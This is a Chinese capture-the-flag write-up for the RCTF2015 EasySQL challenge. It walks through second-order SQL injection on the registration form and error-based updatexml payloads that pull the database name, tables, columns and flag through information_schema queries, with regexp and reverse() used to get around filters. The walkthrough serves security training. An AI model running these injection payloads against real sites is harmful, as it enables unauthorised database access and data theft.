[RCTF2015]EasySQL-1|SQL注入
1、打开之后只有登录和注册两个功能,界面如下:
2、随便注册一个账户并进行登录,(注册admin时显示该账户已存在,考虑到是不是要获取到admin账户),发现可以进行改密操作,结果如下:
3、抓取各个页面的数据包未发现有用的信息,修改密码的数据包中也不存在明文账户信息,此时想到后台更新密码语句应该为:update password='xxxx' where username="xxxx",所以我们直接注册用户名为admin"#来闭合sql语句和注释掉后面的sql语句,并admin"#账户的密码,修改后的密码即为admin账户的密码,结果如下:
4、然而并没有什么用,admin账户和自己注册的账户显示的信息一样,但是通过上面我们也发现我们注册的账户明信息存在二次注入行为才导致了admin账户的密码被修改,那我们就需要对注册的账户名进行操作了,因为更改密码未回显信息,那这里只能考虑报错注入。在注册界面尝试时发现and、order等部分关键词被过滤,因此payload:asd"&&(updatexml(1,concat(0x7e,database(),0x7e),1))#,在修改密码时获得数据库名字为:web_sqli,结果如下:
5、获取数据库名字后就需要开始获取表的名字,修改payload:asd"&&(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#,获取到表的名字为:article、flag、users,结果如下:
6、获取到表的名字之后那就获取列的名字,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#,成功获取到列明:name,pwd,email,real_flag_1s_her,但是这里一定要注意updatexml函数只能返回32位,所以最后一个列明未必完整,最终列明为:name,pwd,email,real_flag_1s_here,其中concat后面的1在修改为0x7e的时候会因updatexml函数的限制而无法完整输出列明,删除时会导致第一列的name信息丢失,但是在本地进行测试时并不会出现第一列数据丢失的情况(不知道原因),结果如下:
7、获取到列明信息后直接读取flag信息,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users))),1))#,结果如下:
8、很明显flag值中存在一些和flag无关的数据,因此就需要获取自己需要的数据,此处采用正则表达式来获取flag值,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#,结果如下:
9、获取的flag值因为报错函数的限制,未完全输出,因为分割函数都被过滤了,这里只能采用reverse函数将flag逆向输出,然后与正向的进行拼接获得,payload:asd"&&(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#,结果如下:
10、通过脚本或者sql语句将获得倒叙的flag值转回正序,最终得到flag值:flag{703ebda2-7058-4ad0-9cb0-dfeecdaba99b}。
将倒叙的flag值转成正序:
str= '}b99abadceefd-0bc9-0da4-8507-2ad'
str=str[::-1]
print(str)
或者mysql执行语句:
select reverse('}b99abadceefd-0bc9-0da4-8507-2ad');
[RCTF2015]EasySQL-1|SQL注入的更多相关文章
- [RCTF2015]EasySQL
[RCTF2015]EasySQL EasySQL github 打开靶机,是如下界面 到注册页面,试了一下,username 和 email 处有过滤,直接 fuzz 一下哪些字符被禁了 注册成功之 ...
- BUUCTF[归纳]sql注入相关题目
这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- jdbc java数据库连接 8)防止sql注入
回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象; 写sql 5:执行sql ...
- Entity Framework关于SQL注入安全问题
1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL 参考: https: ...
随机推荐
- 如何基于 ZEGO SDK 实现 Android 通话质量监测
功能简介 在进行视频通话过程中,用户有时候会出现网络不好的情况,比如在进行多人视频通话或者多人唱歌时,我们需要实时显示用户的网络质量. 示例源码 参考 下载示例源码 获取源码. 相关源码请查看 &qu ...
- 定位、z-index、JavaScript变量和数据类型
溢出属性 # 文本内容超出了标签的最大范围 overflow: hidden; 直接隐藏文本内容 overflow: auto\scroll; 提供滚动条查看 # 溢出实战案例 div { overf ...
- CTFHub-HTTP协议五关刷题解答
CTFHub 开箱即用的CTF学习解决方案 地址:https://www.ctfhub.com/#/skilltree 本次解答一共包括五关,没有先后顺序. 1.技能树一:请求方式 题目描述 打开后得 ...
- 为什么 io 包一般以 byte 数组做为处理单位?
为什么 io 包一般以 byte 数组做为处理单位? 本文写于 2021 年 9 月 7 日 编程语言中时常会出现 []byte 作为类型的操作.特别是在网络传输或是 io 操作中,例如 socket ...
- linux篇-xshell连接突然报Connection closed by foreign host.
1问题描述报错 Connection closed by foreign host. Disconnected from remote host(yaoGS) at 155513. 2登入虚拟机 在l ...
- 好客租房31-事件绑定this指向(bind)
事件this指向bind 利用ES5中bind方法 将事件处理程序中的this和组件实例绑定在一起 //导入react import React from 'react' ...
- python并发编程之线程/协程
python并发编程之线程/协程 part 4: 异步阻塞例子与生产者消费者模型 同步阻塞 调用函数必须等待结果\cpu没工作input sleep recv accept connect get 同 ...
- 关于『HTML』:第一弹
关于『HTML』:第一弹 建议缩放90%食用 根据C2024XSC212童鞋的提问, 我准备写一稿关于『HTML』基础的帖 But! 当我看到了C2024XSC130的 "关于『HTML5』 ...
- java对象与Json字符串之间的转化
public class Test { public static void main(String[] args) { // 实现java对象与Json字符串之间的转化 // 1. Person对象 ...
- Visual Studio Installer下载速度为0处理办法
DNS改为:223.5.5.5即可. 223.5.5.5 下载完成后记得改回来.